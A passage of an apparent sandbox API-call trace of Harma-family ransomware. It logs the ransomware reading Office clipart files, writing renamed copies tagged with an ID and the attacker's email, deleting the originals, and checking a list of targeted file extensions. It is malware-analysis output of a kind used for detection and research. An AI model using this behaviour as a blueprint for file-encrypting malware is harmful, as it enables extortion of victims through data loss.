12 [0160.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.099] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=17638) returned 1 [0160.099] CloseHandle (hObject=0x214) returned 1 [0160.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0160.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.100] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.100] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0160.101] GetLastError () returned 0x0 [0160.101] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x44e6, lpOverlapped=0x0) returned 1 [0160.103] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x44f0, lpOverlapped=0x0) returned 1 [0160.104] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.104] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.104] SetEndOfFile (hFile=0x218) returned 1 [0160.104] CloseHandle (hObject=0x218) returned 1 [0160.104] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.104] SetEndOfFile (hFile=0x214) returned 1 [0160.107] CloseHandle (hObject=0x214) returned 1 [0160.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0160.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.108] lstrlenW (lpString=".doc") returned 4 [0160.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.108] lstrlenW (lpString=".docx") returned 5 [0160.108] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0160.108] lstrlenW (lpString=".pdf") returned 4 [0160.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.108] lstrlenW (lpString=".xls") returned 4 [0160.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.108] lstrlenW (lpString=".xlsx") returned 5 [0160.108] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0160.108] lstrlenW (lpString=".ppt") returned 4 [0160.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.108] lstrlenW (lpString=".zip") returned 4 [0160.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.108] lstrlenW (lpString=".rar") returned 4 [0160.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.108] lstrlenW (lpString=".bz2") returned 4 [0160.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.108] lstrlenW (lpString=".7z") returned 3 [0160.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.108] lstrlenW (lpString=".dbf") returned 4 [0160.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.109] lstrlenW (lpString=".1cd") returned 4 [0160.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.109] lstrlenW (lpString=".jpg") returned 4 [0160.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.109] lstrlenW (lpString=".doc") returned 4 [0160.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.109] lstrlenW (lpString=".docx") returned 5 [0160.109] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0160.109] lstrlenW (lpString=".pdf") returned 4 [0160.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.109] lstrlenW (lpString=".xls") returned 4 [0160.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.109] lstrlenW (lpString=".xlsx") returned 5 [0160.109] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0160.109] lstrlenW (lpString=".ppt") returned 4 [0160.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.110] lstrlenW (lpString=".zip") returned 4 [0160.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.110] lstrlenW (lpString=".rar") returned 4 [0160.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.110] lstrlenW (lpString=".bz2") returned 4 [0160.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.110] lstrlenW (lpString=".7z") returned 3 [0160.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.110] lstrlenW (lpString=".dbf") returned 4 [0160.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.110] lstrlenW (lpString=".1cd") returned 4 [0160.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0160.111] lstrlenW (lpString=".jpg") returned 4 [0160.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.111] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.111] lstrlenW (lpString="J0090777.WMF") returned 12 [0160.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.112] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3332) returned 1 [0160.112] CloseHandle (hObject=0x214) returned 1 [0160.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0160.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.112] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.112] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0160.113] GetLastError () returned 0x0 [0160.113] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xd04, lpOverlapped=0x0) returned 1 [0160.115] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0160.116] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.116] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.116] SetEndOfFile (hFile=0x218) returned 1 [0160.116] CloseHandle (hObject=0x218) returned 1 [0160.116] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.116] SetEndOfFile (hFile=0x214) returned 1 [0160.118] CloseHandle (hObject=0x214) returned 1 [0160.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0160.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.123] lstrlenW (lpString=".doc") returned 4 [0160.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.123] lstrlenW (lpString=".docx") returned 5 [0160.123] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.123] lstrlenW (lpString=".pdf") returned 4 [0160.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString=".xls") returned 4 [0160.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.124] lstrlenW (lpString=".xlsx") returned 5 [0160.124] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.124] lstrlenW (lpString=".ppt") returned 4 [0160.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.124] lstrlenW (lpString=".zip") returned 4 [0160.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.124] lstrlenW (lpString=".rar") returned 4 [0160.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString=".bz2") returned 4 [0160.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString=".7z") returned 3 [0160.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.124] lstrlenW (lpString=".dbf") returned 4 [0160.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.124] lstrlenW (lpString=".1cd") returned 4 [0160.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.124] lstrlenW (lpString=".jpg") returned 4 [0160.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.124] lstrlenW (lpString=".doc") returned 4 [0160.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.124] lstrlenW (lpString=".docx") returned 5 [0160.124] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.125] lstrlenW (lpString=".pdf") returned 4 [0160.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.125] lstrlenW (lpString=".xls") returned 4 [0160.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.125] lstrlenW (lpString=".xlsx") returned 5 [0160.125] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.125] lstrlenW (lpString=".ppt") returned 4 [0160.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.125] lstrlenW (lpString=".zip") returned 4 [0160.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.125] lstrlenW (lpString=".rar") returned 4 [0160.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.125] lstrlenW (lpString=".bz2") returned 4 [0160.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.125] lstrlenW (lpString=".7z") returned 3 [0160.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.125] lstrlenW (lpString=".dbf") returned 4 [0160.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.125] lstrlenW (lpString=".1cd") returned 4 [0160.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0160.125] lstrlenW (lpString=".jpg") returned 4 [0160.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.125] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.126] lstrlenW (lpString="J0090779.WMF") returned 12 [0160.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.126] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1456) returned 1 [0160.126] CloseHandle (hObject=0x214) returned 1 [0160.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0160.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.127] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.127] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0160.127] GetLastError () returned 0x0 [0160.127] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x5b0, lpOverlapped=0x0) returned 1 [0160.595] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0160.596] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.596] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.596] SetEndOfFile (hFile=0x218) returned 1 [0160.596] CloseHandle (hObject=0x218) returned 1 [0160.597] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.597] SetEndOfFile (hFile=0x214) returned 1 [0160.599] CloseHandle (hObject=0x214) returned 1 [0160.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0160.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.600] lstrlenW (lpString=".doc") returned 4 [0160.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.600] lstrlenW (lpString=".docx") returned 5 [0160.600] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.600] lstrlenW (lpString=".pdf") returned 4 [0160.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.600] lstrlenW (lpString=".xls") returned 4 [0160.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.600] lstrlenW (lpString=".xlsx") returned 5 [0160.600] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.600] lstrlenW (lpString=".ppt") returned 4 [0160.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.600] lstrlenW (lpString=".zip") returned 4 [0160.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.600] lstrlenW (lpString=".rar") returned 4 [0160.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.600] lstrlenW (lpString=".bz2") returned 4 [0160.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.600] lstrlenW (lpString=".7z") returned 3 [0160.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.600] lstrlenW (lpString=".dbf") returned 4 [0160.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.601] lstrlenW (lpString=".1cd") returned 4 [0160.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.601] lstrlenW (lpString=".jpg") returned 4 [0160.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.602] lstrlenW (lpString=".doc") returned 4 [0160.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.602] lstrlenW (lpString=".docx") returned 5 [0160.602] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.602] lstrlenW (lpString=".pdf") returned 4 [0160.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.602] lstrlenW (lpString=".xls") returned 4 [0160.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.602] lstrlenW (lpString=".xlsx") returned 5 [0160.602] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.602] lstrlenW (lpString=".ppt") returned 4 [0160.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.602] lstrlenW (lpString=".zip") returned 4 [0160.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.602] lstrlenW (lpString=".rar") returned 4 [0160.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.602] lstrlenW (lpString=".bz2") returned 4 [0160.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.602] lstrlenW (lpString=".7z") returned 3 [0160.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.602] lstrlenW (lpString=".dbf") returned 4 [0160.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.603] lstrlenW (lpString=".1cd") returned 4 [0160.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0160.603] lstrlenW (lpString=".jpg") returned 4 [0160.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.603] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.603] lstrlenW (lpString="J0099149.WMF") returned 12 [0160.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.834] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=73214) returned 1 [0160.834] CloseHandle (hObject=0x358) returned 1 [0160.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0161.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: 